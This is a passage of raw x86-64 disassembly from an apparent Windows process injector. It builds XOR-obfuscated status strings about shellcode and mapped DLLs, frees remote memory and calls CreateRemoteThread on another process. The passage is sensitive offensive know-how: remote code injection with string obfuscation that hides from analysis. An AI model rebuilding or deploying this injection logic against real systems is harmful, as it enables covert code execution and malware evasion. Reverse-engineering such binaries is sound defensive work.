lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b0], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b1], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b2], al
movsx eax, byte [rsp + 0x798]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Cant_write_shellcode_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b3], al
lea rax, [rsp + 0x7b4]
lea rax, [rsp + 0x7b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xf0], 0
jmp 0x140074bde
mov rax, qword [rsp + 0xf0]
inc rax
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0x1b
jae 0x140074c42
mov rax, qword [rsp + 0xf0]
lea rax, [rsp + rax + 0x799]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x798]
xor eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0xf0]
lea rax, [rsp + rax + 0x799]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov cl, byte [rsp + 0x57]
mov byte [rax], cl
jmp 0x140074bcb
mov eax, 0x1b
imul rax, rax, 1
lea rax, [rsp + rax + 0x799]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
mov byte [rax], 0
lea rax, [rsp + 0x799]
mov qword [rsp + 0x328], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x328]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov byte [rsp + 0x6a8], 0x64
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6a9], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6aa], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ab], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ac], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ad], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ae], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6af], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b0], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b1], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b2], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b3], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b4], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b5], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b6], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b7], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b8], al
movsx eax, byte [rsp + 0x6a8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Mapped_DLL_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6b9], al
lea rax, [rsp + 0x6ba]
lea rax, [rsp + 0x6ba]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xf8], 0
jmp 0x140074fc8
mov rax, qword [rsp + 0xf8]
inc rax
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 0x11
jae 0x14007502c
mov rax, qword [rsp + 0xf8]
lea rax, [rsp + rax + 0x6a9]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a8]
xor eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0xf8]
lea rax, [rsp + rax + 0x6a9]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov cl, byte [rsp + 0x58]
mov byte [rax], cl
jmp 0x140074fb5
mov eax, 0x11
imul rax, rax, 1
lea rax, [rsp + rax + 0x6a9]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov byte [rax], 0
lea rax, [rsp + 0x6a9]
mov qword [rsp + 0x348], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x348]
call fcn.140005fa4
mov byte [rsp + 0x6f0], 0x37
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f1], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f2], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f3], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f4], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f5], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f6], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f7], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f8], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6f9], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6fa], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6fb], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6fc], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6fd], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6fe], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ff], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x700], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x701], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x702], al
movsx eax, byte [rsp + 0x6f0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Mapping_info_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x703], al
lea rax, [rsp + 0x704]
lea rax, [rsp + 0x704]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x100], 0
jmp 0x14007539c
mov rax, qword [rsp + 0x100]
inc rax
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0x13
jae 0x140075400
mov rax, qword [rsp + 0x100]
lea rax, [rsp + rax + 0x6f1]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f0]
xor eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x100]
lea rax, [rsp + rax + 0x6f1]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov cl, byte [rsp + 0x59]
mov byte [rax], cl
jmp 0x140075389
mov eax, 0x13
imul rax, rax, 1
lea rax, [rsp + rax + 0x6f1]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov byte [rax], 0
lea rax, [rsp + 0x6f1]
mov qword [rsp + 0x368], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x368]
call fcn.140005fa4
mov byte [rsp + 0x6c0], 0x5c
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c1], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c2], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c3], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c4], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c5], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c6], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c7], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c8], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6c9], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ca], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6cb], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6cc], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6cd], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6ce], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6cf], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6d0], al
movsx eax, byte [rsp + 0x6c0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Shell_code_at__p_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6d1], al
lea rax, [rsp + 0x6d2]
lea rax, [rsp + 0x6d2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x108], 0
jmp 0x140075725
mov rax, qword [rsp + 0x108]
inc rax
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 0x11
jae 0x140075789
mov rax, qword [rsp + 0x108]
lea rax, [rsp + rax + 0x6c1]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c0]
xor eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x108]
lea rax, [rsp + rax + 0x6c1]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov cl, byte [rsp + 0x5a]
mov byte [rax], cl
jmp 0x140075712
mov eax, 0x11
imul rax, rax, 1
lea rax, [rsp + rax + 0x6c1]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov byte [rax], 0
lea rax, [rsp + 0x6c1]
mov qword [rsp + 0x388], rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x388]
call fcn.140005fa4
mov byte [rsp + 0x678], 0x7a
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x679], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67a], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67b], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67c], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67d], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67e], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x67f], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x680], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x681], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x682], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x683], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x684], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x685], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x686], al
movsx eax, byte [rsp + 0x678]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Data_allocated_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x687], al
lea rax, [rsp + 0x688]
lea rax, [rsp + 0x688]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x110], 0
jmp 0x140075a60
mov rax, qword [rsp + 0x110]
inc rax
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0xf
jae 0x140075ac4
mov rax, qword [rsp + 0x110]
lea rax, [rsp + rax + 0x679]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x678]
xor eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x110]
lea rax, [rsp + rax + 0x679]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
mov cl, byte [rsp + 0x5b]
mov byte [rax], cl
jmp 0x140075a4d
mov eax, 0xf
imul rax, rax, 1
lea rax, [rsp + rax + 0x679]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a0]
mov byte [rax], 0
lea rax, [rsp + 0x679]
mov qword [rsp + 0x3a8], rax
mov rcx, qword [rsp + 0x3a8]
call fcn.140005fa4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x88]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x1d0], rax
cmp qword [rsp + 0x1d0], 0
jne 0x1400760ec
mov byte [rsp + 0x7b8], 0x6b
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7b9], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ba], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7bb], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7bc], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7bd], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7be], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7bf], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c0], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c1], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c2], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c3], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c4], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c5], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c6], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c7], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c8], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7c9], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ca], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7cb], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7cc], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7cd], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ce], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Thread_creation_failed_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7cf], al
movsx eax, byte [rsp + 0x7b8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Thread_creation_failed_0x_X_n
